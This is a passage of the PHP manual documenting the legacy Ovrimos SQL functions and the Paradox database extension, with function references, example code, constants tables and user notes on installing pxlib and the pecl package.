    if ($res != 0) {
        echo "Statement ok!";
        if (ovrimos_fetch_row($res, "First")) {
            $table_id = ovrimos_result($res, 1);
            $table_name = ovrimos_result($res, 2);
            echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            if (ovrimos_fetch_row($res, "Next")) {
                $table_id = ovrimos_result($res, "table_id");
                $table_name = ovrimos_result($res, "table_name");
                echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            } else {
                echo "Next: error\n";
            }
        } else {
            echo "First: error\n";
        }
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>
This will fetch a row and print the result.

See Also

  • ovrimos_fetch_into() - Fetches a row from the result set

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_fetch_into
ovrimos_field_len
Ovrimos SQL Functions


Returns the length of the output column

ovrimos_fetch_row
ovrimos_field_name
Ovrimos SQL Functions
PHP Manual

ovrimos_field_len

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_field_len — Returns the length of the output column

Description

int ovrimos_field_len ( int $result_id , int $field_number )

Gets the length of the specified output column.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

field_number

The field number. Starts at 1.

Return Values

Returns the length as an integer, or FALSE on error.

See Also

  • ovrimos_field_name() - Returns the output column name
  • ovrimos_field_num() - Returns the (1-based) index of the output column
  • ovrimos_field_type() - Returns the type of the output column

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_fetch_row
ovrimos_field_name
Ovrimos SQL Functions


Returns the output column name

ovrimos_field_len
ovrimos_field_num
Ovrimos SQL Functions
PHP Manual

ovrimos_field_name

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_field_name — Returns the output column name

Description

string ovrimos_field_name ( int $result_id , int $field_number )

Returns the output column name at the index specified.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

field_number

The field number. Starts at 1.

Return Values

Returns the field name as a string, or FALSE on error.

See Also

  • ovrimos_field_len() - Returns the length of the output column
  • ovrimos_field_num() - Returns the (1-based) index of the output column
  • ovrimos_field_type() - Returns the type of the output column

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_field_len
ovrimos_field_num
Ovrimos SQL Functions


Returns the (1-based) index of the output column

ovrimos_field_name
ovrimos_field_type
Ovrimos SQL Functions
PHP Manual

ovrimos_field_num

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_field_num — Returns the (1-based) index of the output column

Description

int ovrimos_field_num ( int $result_id , string $field_name )

Returns the 1-based index of the specified output column.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

field_name

The field name.

Return Values

Returns the index, starting at 1, or FALSE on error.

See Also

  • ovrimos_field_len() - Returns the length of the output column
  • ovrimos_field_name() - Returns the output column name
  • ovrimos_field_type() - Returns the type of the output column

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_field_name
ovrimos_field_type
Ovrimos SQL Functions


Returns the type of the output column

ovrimos_field_num
ovrimos_free_result
Ovrimos SQL Functions
PHP Manual

ovrimos_field_type

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_field_type — Returns the type of the output column

Description

int ovrimos_field_type ( int $result_id , int $field_number )

Returns the type of the output column

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

field_number

A 1-based index.

Return Values

Returns the field type as an integer, or FALSE on error.

See Also

  • ovrimos_field_len() - Returns the length of the output column
  • ovrimos_field_name() - Returns the output column name
  • ovrimos_field_num() - Returns the (1-based) index of the output column

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_field_num
ovrimos_free_result
Ovrimos SQL Functions


Frees the specified result_id

ovrimos_field_type
ovrimos_longreadlen
Ovrimos SQL Functions
PHP Manual

ovrimos_free_result

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_free_result — Frees the specified result_id

Description

bool ovrimos_free_result ( int $result_id )

Frees the specified result identifier.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

Return Values

Returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_field_type
ovrimos_longreadlen
Ovrimos SQL Functions


Specifies how many bytes are to be retrieved from long datatypes

ovrimos_free_result
ovrimos_num_fields
Ovrimos SQL Functions
PHP Manual

ovrimos_longreadlen

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_longreadlen — Specifies how many bytes are to be retrieved from long datatypes

Description

bool ovrimos_longreadlen ( int $result_id , int $length )

Specifies how many bytes are to be retrieved from long datatypes (long varchar and long varbinary).

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

length

The number of bytes to retrieve. Default is zero.

Return Values

Returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_free_result
ovrimos_num_fields
Ovrimos SQL Functions


Returns the number of columns

ovrimos_longreadlen
ovrimos_num_rows
Ovrimos SQL Functions
PHP Manual

ovrimos_num_fields

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_num_fields — Returns the number of columns

Description

int ovrimos_num_fields ( int $result_id )

Returns the number of columns in the specified result identifier.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

Return Values

Returns the number of columns as an integer, or FALSE on error.

See Also

  • ovrimos_num_rows() - Returns the number of rows affected by update operations

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_longreadlen
ovrimos_num_rows
Ovrimos SQL Functions


Returns the number of rows affected by update operations

ovrimos_num_fields
ovrimos_prepare
Ovrimos SQL Functions
PHP Manual

ovrimos_num_rows

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_num_rows — Returns the number of rows affected by update operations

Description

int ovrimos_num_rows ( int $result_id )

Gets the number of rows affected by update operations.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

Return Values

Returns the number of rows as an integer, or FALSE on error.

See Also

  • ovrimos_num_fields() - Returns the number of columns

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_num_fields
ovrimos_prepare
Ovrimos SQL Functions


Prepares an SQL statement

ovrimos_num_rows
ovrimos_result_all
Ovrimos SQL Functions
PHP Manual

ovrimos_prepare

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_prepare — Prepares an SQL statement

Description

int ovrimos_prepare ( int $connection_id , string $query )

Prepares an SQL statement.

Parameters

connection_id

The Ovrimos connection identifier, returned by ovrimos_connect().

query

The SQL statement.

Return Values

Returns a result identifier on success, or FALSE on error.

Examples

Example #1 ovrimos_prepare() Example

<?php
$conn=ovrimos_connect("db_host", "8001", "admin", "password");
if ($conn!=0) {
    echo "Connection ok!";

    // Prepare the statement
    $res=ovrimos_prepare($conn, "select table_id, table_name
                                  from sys.tables where table_id=1");
    if ($res != 0) {
        echo "Prepare ok!";
        // Execute the prepared statement
        if (ovrimos_execute($res)) {
            echo "Execute ok!\n";
            ovrimos_result_all($res);
        } else {
            echo "Execute not ok!";
        }
        ovrimos_free_result($res);
    } else {
        echo "Prepare not ok!\n";
    }
    ovrimos_close($conn);
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_num_rows
ovrimos_result_all
Ovrimos SQL Functions


Prints the whole result set as an HTML table

ovrimos_prepare
ovrimos_result
Ovrimos SQL Functions
PHP Manual

ovrimos_result_all

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_result_all — Prints the whole result set as an HTML table

Description

int ovrimos_result_all ( int $result_id [, string $format ] )

Prints the whole result set as an HTML table.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

format

Optional HTML attributes for the generated table element.

Return Values

Returns the number of rows in the generated table.

Examples

This will execute an SQL statement and print the result in an HTML table.

Example #1 Prepare a statement, execute, and view the result

<?php
$conn = ovrimos_connect("db_host", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_prepare($conn, "select table_id, table_name
                                    from sys.tables where table_id = 7");
    if ($res != 0) {
        echo "Prepare ok!";
        if (ovrimos_execute($res, array(3))) {
            echo "Execute ok!\n";
            ovrimos_result_all($res);
        } else {
            echo "Execute not ok!";
        }
        ovrimos_free_result($res);
    } else {
        echo "Prepare not ok!\n";
    }
    ovrimos_close($conn);
}
?>

Example #2 ovrimos_result_all() with meta-information

<?php
$conn = ovrimos_connect("db_host", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_exec($conn, "select table_id, table_name
                                 from sys.tables where table_id = 1");
    if ($res != 0) {
        echo "Statement ok! cursor=" . ovrimos_cursor($res) . "\n";
        $colnb = ovrimos_num_fields($res);
        echo "Output columns=" . $colnb . "\n";
        for ($i=1; $i <= $colnb; $i++) {
            $name = ovrimos_field_name($res, $i);
            $type = ovrimos_field_type($res, $i);
            $len = ovrimos_field_len($res, $i);
            echo "Column " . $i . " name=" . $name . " type=" . $type . " len=" . $len . "\n";
        }
        ovrimos_result_all($res);
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_prepare
ovrimos_result
Ovrimos SQL Functions


Retrieves the output column

ovrimos_result_all
ovrimos_rollback
Ovrimos SQL Functions
PHP Manual

ovrimos_result

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_result — Retrieves the output column

Description

string ovrimos_result ( int $result_id , mixed $field )

Retrieves the output column specified by field.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

field

Either as a string with the field name or as an 1-based index.

Return Values

Returns the column as a string, FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_result_all
ovrimos_rollback
Ovrimos SQL Functions


Rolls back the transaction

ovrimos_result
Paradox
Ovrimos SQL Functions
PHP Manual

ovrimos_rollback

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_rollback — Rolls back the transaction

Description

bool ovrimos_rollback ( int $connection_id )

Rolls back the transaction.

Parameters

connection_id

The Ovrimos connection identifier, returned by ovrimos_connect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ovrimos_commit() - Commits the transaction

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_result
Paradox
Ovrimos SQL Functions


Paradox File Access

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Paradox Functions
    • px_close — Closes a paradox database
    • px_create_fp — Create a new paradox database
    • px_date2string — Converts a date into a string.
    • px_delete_record — Deletes record from paradox database
    • px_delete — Deletes resource of paradox database
    • px_get_field — Returns the specification of a single field
    • px_get_info — Return lots of information about a paradox file
    • px_get_parameter — Gets a parameter
    • px_get_record — Returns record of paradox database
    • px_get_schema — Returns the database schema
    • px_get_value — Gets a value
    • px_insert_record — Inserts record into paradox database
    • px_new — Create a new paradox object
    • px_numfields — Returns number of fields in a database
    • px_numrecords — Returns number of records in a database
    • px_open_fp — Open paradox database
    • px_put_record — Stores record into paradox database
    • px_retrieve_record — Returns record of paradox database
    • px_set_blob_file — Sets the file where blobs are read from
    • px_set_parameter — Sets a parameter
    • px_set_tablename — Sets the name of a table (deprecated)
    • px_set_targetencoding — Sets the encoding for character fields (deprecated)
    • px_set_value — Sets a value
    • px_timestamp2string — Converts the timestamp into a string.
    • px_update_record — Updates record in paradox database

User Contributed Notes

wilson dot p dot pereira at itelefonica dot com dot br 04-Sep-2008 12:22
<?php

/*
Implement class to use paradox functions
*/

class cParadox
{
    //members
    var $m_pxdoc = NULL;
    var $m_fp     = NULL;
    var $m_rs     = NULL;
    var $m_default_field_value = "";
    var $m_use_field_slashes = false;
    var $m_use_field_trim      = false;

    function Open($filename)
    {
        $this->m_pxdoc = px_new();
        if( !$this->m_pxdoc)
        {
            die ("cParadox Error: px_new() failed.");
        }

        $this->m_fp = fopen($filename, "r");

        if(!$this->m_fp)
        {
            px_delete($this->m_pxdoc);
            die ("cParadox Error: fopen failed.Filename:$filename");
        }

        if(!px_open_fp($this->m_pxdoc ,$this->m_fp) )
        {
            px_delete($this->m_pxdoc);
            fclose( $this->m_fp );
            die ("cParadox Erro: px_open_fp failed.");
        }

        return true;
    }

    function Close()
    {
        if ( $this->m_pxdoc )
        {
            px_close($this->m_pxdoc);
            px_delete($this->m_pxdoc);
        }

        if( $this->m_fp )
        {
            fclose( $this->m_fp );
        }
    }

    function GetNumRecords()
    {
        return px_numrecords($this->m_pxdoc);
    }

        function GetRecord($rec)
    {
        $this->m_rs = px_get_record($this->m_pxdoc ,$rec ,PX_KEYTOUPPER);
        return $this->m_rs;
    }

    function GetField($field ,$type=0, $format=0)
    {
        if ( !$this->m_rs )
        {
            return false;
        }

        $value = isset($this->m_rs[$field])? $this->m_rs[$field] : "";

        if ( $this->m_use_field_slashes )
        {
            $value = addslashes($value);
        }

        if ( $this->m_use_field_trim )
        {
            $value = trim($value);
        }

        return $value;
    }
};

usage example:
error_reporting(E_ERROR);
require_once("cparadox.inc");

$pdx = new cParadox();
$pdx->m_default_field_value = "?";//" ";

if ( $pdx->Open("USERS.DB") )
{
     $tot_rec = $pdx->GetNumRecords();
    if ( $tot_rec )
     {
        echo "<table border=1>\n";
        for($rec=0; $rec<$tot_rec; $rec++)
        {
             $pdx->GetRecord($rec);

            echo "<tr>";

            echo "<td>" . $rec;
            echo "<td>" . $pdx->GetField(CODE);
            echo "<td>" . $pdx->GetField(NAME);
        }
    }

    $pdx->Close();
}
?>
ovrimos_rollback
Introduction
Vendor Specific Database Extensions


Introduction

This module allows to read and write Paradox databases, primary index files and blob files. Write support has been proven to be quite reliable, though due to lack of documentation the produced files may not in any case be readable by other applications. Encrypted databases can be read without specifying a password if pxlib >= 0.5.0 is used.

Note:

This module is also in development and may change, though major changes to the API are not expected.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
Paradox
Installing/Configuring
Paradox


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Paradox


Requirements

You need at least PHP 5.0.0 and pxlib >= 0.4.4 for the basic set of functions. Some newer functions are only available with pxlib >= 0.6.0. Reading and writing of encrypted databases requires at least pxlib >= 0.5.0. The paradox library (pxlib) is available at » http://pxlib.sourceforge.net.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/paradox

Make sure you have pxlib installed before. If you install pxlib from an rpm or debian package, do not forget to install the development package as well.

User Contributed Notes

admin at aldisa dot ca 24-Jan-2011 08:16
FreeBSD users BEWARE, this extension will not compile and install with the "pecl install paradox" command.

The configure script fails because it tries to use a library (libdl.a) that is available by default in Linux but not on FreeBSD.  I had to alter the configure script and install the package manually.

I have reported this on the package page as a bug, but there does not seem to be any movement in maintaining this package, so I am posting this here for anyone having trouble trying to install this package on FreeBSD.
etlapa 07-Aug-2010 12:21
This was my experience in Ubuntu distro. I install everything from console. Type:

    sudo aptitude install php-pear
    sudo aptitude install php5-dev
    sudo aptitude install pxlib1
    sudo aptitude install pxlib-dev

    sudo pecl install paradox

Display your php config by using the phpinfo() and
find the path shown at "Scan this dir for additional .ini files"

In my case I found "/etc/php5/apache2/conf.d"

At this path create a file name "paradox.ini" with this content:

    extension=paradox.so

Then type "php --info | grep paradox" to verify the configuration is read properly and there are no errors.  You should see something like...

     /etc/php.d/paradox.ini,
     paradox

service httpd restart. In my case:

    sudo /etc/init.d/apache2 restart
john dot navratil at sbcglobal dot net 20-Apr-2008 11:31
You will need 'pecl' and 'phpize'.  Make sure the php-pear (for pecl) and php-devel (for phpize) packages are installed.

Download pxlib package from pxlib.sourceforge.net.  expand/config/make/make install.  No tricks there.

pecl install paradox

Edit php.ini or, preferably, create /etc/php.d/paradox.ini to contain:

     extension=paradox.so

'php --info | grep paradox' to verify the configuration is read properly and there are no errors.  You should see something like...

     /etc/php.d/paradox.ini,
     paradox

service httpd restart
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

px_new() creates a new Paradox object required by all Paradox functions.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following two tables lists all constants defined by the paradox extension.

Contants for field types
Name | Meaning
PX_FIELD_ALPHA | Character data with fixed length
PX_FIELD_DATE | Date, number of days since 1.1.0000
PX_FIELD_SHORT | Short integer (2 Bytes)
PX_FIELD_LONG | Long integer (4 Bytes)
PX_FIELD_CURRENCY | same as PX_FIELD_NUMBER
PX_FIELD_NUMBER | Double
PX_FIELD_LOGICAL | Boolean
PX_FIELD_MEMOBLOB | Binary large object
PX_FIELD_BLOB | Binary large object (not supported)
PX_FIELD_FMTMEMOBLOB | Binary large object
PX_FIELD_OLE | OLE object (basically a blob, not supported)
PX_FIELD_GRAPHIC | Graphic (basically a blob, not supported)
PX_FIELD_TIME | time, number of milli seconds since midnight
PX_FIELD_TIMESTAMP | timestamp, number of milli seconds since 1.1.0000
PX_FIELD_AUTOINC | Auto incrementing interger (like PX_FIELD_LONG)
PX_FIELD_BCD | Decimal number stored in bcd format (not supported)
PX_FIELD_BYTES | Array of Bytes with not more than 255 bytes (not supported)
PX_KEYTOLOWER | Turn all field names into lower case
PX_KEYTOUPPER | Turn all field names into upper case
Contants for file types
Name | Meaning
PX_FILE_INDEX_DB | Indexed database
PX_FILE_PRIM_INDEX | Primary index
PX_FILE_NON_INDEX_DB | None indexed database
PX_FILE_NON_INC_SEC_INDEX | None incremental secondary index
PX_FILE_SEC_INDEX | Secondary index
PX_FILE_INC_SEC_INDEX | Incremental secondary index
PX_FILE_NON_INC_SEC_INDEX_G | Non incremental secondary index
PX_FILE_SEC_INDEX_G | Secondary index
PX_FILE_INC_SEC_INDEX_G | Non incremental secondary index

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Paradox Functions
Paradox


Paradox Functions

Object oriented API

The paradox extension provides also an object oriented API. It consists of only one class called paradox_db. Its methods only differ from the functions in its name and of course the missing first parameter. The following table will list all methods and its equivalent functions.

Methods of class paradox_db
Name of method | Equivalent function
Constructor | px_new()
Destructor | px_delete()
open_fp() | px_open_fp()
create_fp() | px_create_fp()
close() | px_close()
numrecords() | px_numrecords()
numfields() | px_numfields()
get_record() | px_get_record()
put_record() | px_put_record()
retrieve_record() | px_retrieve_record()
delete_record() | px_delete_record()
insert_record() | px_insert_record()
update_record() | px_update_record()
get_field() | px_get_field()
get_schema() | px_get_schema()
get_info() | px_get_info()
set_parameter() | px_set_parameter()
get_parameter() | px_get_parameter()
set_value() | px_set_value()
get_value() | px_get_value()
get_info() | px_get_info()
set_targetencoding() | px_set_targetencoding()
set_tablename() | px_set_tablename()
set_blob_file() | px_set_blob_file()
date2string() | px_date2string()
timestamp2string() | px_timestamp2string()

Table of Contents

  • px_close — Closes a paradox database
  • px_create_fp — Create a new paradox database
  • px_date2string — Converts a date into a string.
  • px_delete_record — Deletes record from paradox database
  • px_delete — Deletes resource of paradox database
  • px_get_field — Returns the specification of a single field
  • px_get_info — Return lots of information about a paradox file
  • px_get_parameter — Gets a parameter
  • px_get_record — Returns record of paradox database
  • px_get_schema — Returns the database schema
  • px_get_value — Gets a value
  • px_insert_record — Inserts record into paradox database
  • px_new — Create a new paradox object
  • px_numfields — Returns number of fields in a database
  • px_numrecords — Returns number of records in a database
  • px_open_fp — Open paradox database
  • px_put_record — Stores record into paradox database
  • px_retrieve_record — Returns record of paradox database
  • px_set_blob_file — Sets the file where blobs are read from
  • px_set_parameter — Sets a parameter
  • px_set_tablename — Sets the name of a table (deprecated)
  • px_set_targetencoding — Sets the encoding for character fields (deprecated)
  • px_set_value — Sets a value
  • px_timestamp2string — Converts the timestamp into a string.
  • px_update_record — Updates record in paradox database

User Contributed Notes

john dot navratil at sbcglobal dot net 22-Dec-2006 08:06
Some difficulties were encountered installing this extension on php 5.1.6.  're2c' was not found.  On Fedora Core 5, php 5.1.6, I had to...

Install gc++ as re2c requires C++ and will not compile with the standard C compiler most often used.

Download re2c from sourceforge, untar, configure, make, make install.

Download pxlib from sourceforge, untar, configure, make, make install.

pecl install paradox (it has been moved from pear)
Predefined Constants
px_close
Paradox


Closes a paradox database

Paradox Functions
px_create_fp
Paradox Functions
PHP Manual

px_close

(PECL paradox >= 1.0.0)

px_close — Closes a paradox database

Description

bool px_close ( resource $pxdoc )

Closes the paradox database. This function will not close the file. You will have to call fclose() afterwards.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • px_open_fp() - Open paradox database
  • The example at px_new() - Create a new paradox object

User Contributed Notes

There are no user contributed notes for this page.
Paradox Functions
px_create_fp
Paradox Functions


Create a new paradox database

px_close
px_date2string
Paradox Functions
PHP Manual

px_create_fp

(PECL paradox >= 1.0.0)

px_create_fp — Create a new paradox database

Description

bool px_create_fp ( resource $pxdoc , resource $file , array $fielddesc )

Create a new paradox database file. The actual file has to be opened before with fopen(). Make sure the file is writable.

Note:

Calling this functions issues a warning about an empty tablename which can be safely ignored. Just set the tablename afterwards with px_set_parameter().

Note:

This function is highly experimental, due to insufficient documentation of the paradox file format. Database files created with this function can be opened by px_open_fp() and has been successfully opened by the Paradox software, but your milage may vary.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

file

File handle as returned by fopen().

fielddesc

fielddesc is an array containing one element for each field specification. A field specification is an array itself with either two or three elements.The first element is always a string value used as the name of the field. It may not be larger than ten characters. The second element contains the field type which is one of the constants listed in the table Constants for field types. In the case of a character field or bcd field, you will have to provide a third element specifying the length respectively the precesion of the field. If your field specification contains blob fields, you will have to make sure to either make the field large enough for all field values to fit or specify a blob file with px_set_blob_file() for storing the blobs. If this is not done the field data is truncated.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Creating a Paradox database with two fields

<?php
if(!$pxdoc = px_new()) {
  /* Error handling */
}
$fp = fopen("test.db", "w+");
$fields = array(array("col1", "S"), array("col2", "I"));
if(!px_create_fp($pxdoc, $fp, $fields)) {
  /* Error handling */
}
px_set_parameter($pxdoc, "tablename", "testtable");
for($i=-50; $i<50; $i++) {
  $rec = array($i, -$i);
  px_put_record($pxdoc, $rec);
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

See Also

  • px_new() - Create a new paradox object
  • px_put_record() - Stores record into paradox database
  • fopen() - Opens file or URL

User Contributed Notes

There are no user contributed notes for this page.
px_close
px_date2string
Paradox Functions


Converts a date into a string.

px_create_fp
px_delete_record
Paradox Functions
PHP Manual

px_date2string

(PECL paradox >= 1.4.0)

px_date2string — Converts a date into a string.

Description

string px_date2string ( resource $pxdoc , int $value , string $format )

Turns a date as it stored in the paradox file into human readable format. Paradox dates are the number of days since 1.1.0000. This function is just for convenience. It can be easily replaced by some math and the calendar functions as demonstrated in the example below.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

value

Value as stored in paradox database field of type PX_FIELD_DATE.

format

String format similar to the format used by date(). The placeholders support by this function is a subset of those supported by date() (Y, y, m, n, d, j, L).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Turn a paradox date into a human readable form

<?php
$px = px_new();

/* make up a date as it could be stored in */
/* a date field of a paradox db. */
/* 700000 days since 1.1.0000. */
$days = 700000;

/* Use the calendar functions to print a */
/* human readable format of the date */
echo jdtogregorian($days+1721425)."\n";
/* px_date2string() outputs the same */
echo px_date2string($px, $days, "n/d/Y")."\n";

px_delete($px);
?>

The above example will output:

7/15/1917
7/15/1917

See Also

  • px_timestamp2string() - Converts the timestamp into a string.
  • jdtogregorian() - Converts Julian Day Count to Gregorian date

User Contributed Notes

john dot navratil at sbcglobal dot net 21-Dec-2010 09:52
Date fields are retrieved as the number of days since 0 A.D. (I think), but not as anything resembling a date.  If you are exporting this data, you must used this function to convert.  Read the schema first to determine which fields are date fields...

<?php
$schema = $pxdoc->get_schema();

$dateFields = array();
foreach ($schema as $key => $attrs) {
    if ($attrs["type"] ==  PX_FIELD_DATE)    // Collect list of "date" columns
        $dateFields[] = $key;
}
?>

An export to a CSV format, for example, could them be written...

<?php
for ($rec = 0; $rec < $totRecs; ++$rec) {
    $arr = $pxdoc->get_record($rec);

    foreach ($dateFields as $key) {
        $arr[$key] = $pxdoc->date2string($arr[$key], "m/d/Y");
    }

    fputcsv(STDOUT, $arr);  // STDOUT only available with CLI
}
?>
px_create_fp
px_delete_record
Paradox Functions


Deletes record from paradox database

px_date2string
px_delete
Paradox Functions
PHP Manual

px_delete_record

(PECL paradox >= 1.4.0)

px_delete_record — Deletes record from paradox database

Description

bool px_delete_record ( resource $pxdoc , int $num )

This function deletes a record from the database. It does not free the space in the database file but just marks it as deleted. Inserting a new record afterwards will reuse the space.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
px_date2string
px_delete
Paradox Functions


Deletes resource of paradox database

px_delete_record
px_get_field
Paradox Functions
PHP Manual

px_delete

(PECL paradox >= 1.0.0)

px_delete — Deletes resource of paradox database

Description

bool px_delete ( resource $pxdoc )

Deletes the resource of the paradox file and frees all memory.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
px_delete_record
px_get_field
Paradox Functions


Returns the specification of a single field

px_delete
px_get_info
Paradox Functions
PHP Manual

px_get_field

(PECL paradox >= 1.0.0)

px_get_field — Returns the specification of a single field

Description

array px_get_field ( resource $pxdoc , int $fieldno )

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

fieldno

Number of the field. The first field has number 0. Specifying a field number less than 0 and greater or equal the number of fields will trigger an error.

Return Values

Returns the specification of the fieldno 'th database field as an associated array. The array contains three fields named name, type, and size.

User Contributed Notes

There are no user contributed notes for this page.
px_delete
px_get_info
Paradox Functions


Return lots of information about a paradox file

px_get_field
px_get_parameter
Paradox Functions
PHP Manual

px_get_info

(PECL paradox >= 1.0.0)

px_get_info — Return lots of information about a paradox file

Description

array px_get_info ( resource $pxdoc )

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns an associated array with lots of information about a paradox file. This array is likely to be extended in the future.

fileversion

Version of file multiplied by 10, e.g. 70.

tablename

Name of table as stored in the file. If the database was created by pxlib, then this will be the name of the file without the extension.

numrecords

Number of records in this table.

numfields

Number of fields in this table.

headersize

Number of bytes used for the header. This is usually 0x800.

recordsize

Number of bytes used for each record. This is the sum of all field sizes (available since version 1.4.2).

maxtablesize

This value multiplied by 0x400 is the size of a data block in bytes. The maximum number of records in a datablock is the integer part of (maxtablesize * 0x400 - 8) / recordsize.

numdatablocks

The number of data blocks in the file. Each data block contains a certain number of records which depends on the record size and the data block size (maxtablesize). Data blocks may not necessarily be completely filled.

numindexfields

Number of fields used for the primary index. The fields do always start with field number 1.

codepage

The DOS codepage which was used for encoding fields with character data. If the target encoding is not set with px_set_targetencoding() this will be the encoding for character fields when records are being accessed with px_get_record() or px_retrieve_record().

See Also

  • px_numfields() - Returns number of fields in a database
  • px_numrecords() - Returns number of records in a database

User Contributed Notes

There are no user contributed notes for this page.
px_get_field
px_get_parameter
Paradox Functions


Gets a parameter

px_get_info
px_get_record
Paradox Functions
PHP Manual

px_get_parameter

(PECL paradox >= 1.1.0)

px_get_parameter — Gets a parameter

Description

string px_get_parameter ( resource $pxdoc , string $name )

Gets various parameters.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

The name can be one of the following:

tablename

The name of the table as it will be stored in the database header.

targetencoding

The encoding for the output. Data which is being read from character fields with px_get_record() or px_retrieve_record() is recoded into the targetencoding. If it is not set, then the data will be delivered as stored in the database file.

inputencoding

The encoding of the input data which is to be stored into the database. When storing data of character fields in the database, the data is expected to be delivered in this encoding.

Return Values

Returns the value of the parameter or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
px_get_info
px_get_record
Paradox Functions


Returns record of paradox database

px_get_parameter
px_get_schema
Paradox Functions
PHP Manual

px_get_record

(PECL paradox >= 1.0.0)

px_get_record — Returns record of paradox database

Description

array px_get_record ( resource $pxdoc , int $num [, int $mode = 0 ] )

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

mode

The optional mode can be PX_KEYTOLOWER or PX_KEYTOUPPER in order to convert the keys of the returned array into lower or upper case. If mode is not passed or is 0, then the key will be exactly like the field name. The element values will contain the field values. NULL values will be retained and are different from 0.0, 0 or the empty string. Fields of type PX_FIELD_TIME will be returned as an integer counting the number of milliseconds starting at midnight. A timestamp (PX_FIELD_TIMESTAMP) and date (PX_FIELD_DATE) are floating point respectively int values counting milliseconds respectively days starting at the beginning of julian calendar. Use the functions px-timestamp2string() and px-date2string() to convert them into a character representation.

Return Values

Returns the num'th record from the paradox database. The record is returned as an associated array with its keys being the field names.

See Also

  • px_retrieve_record() - Returns record of paradox database

User Contributed Notes

There are no user contributed notes for this page.
px_get_parameter
px_get_schema
Paradox Functions


Returns the database schema

px_get_record
px_get_value
Paradox Functions
PHP Manual

px_get_schema

(PECL paradox >= 1.0.0)

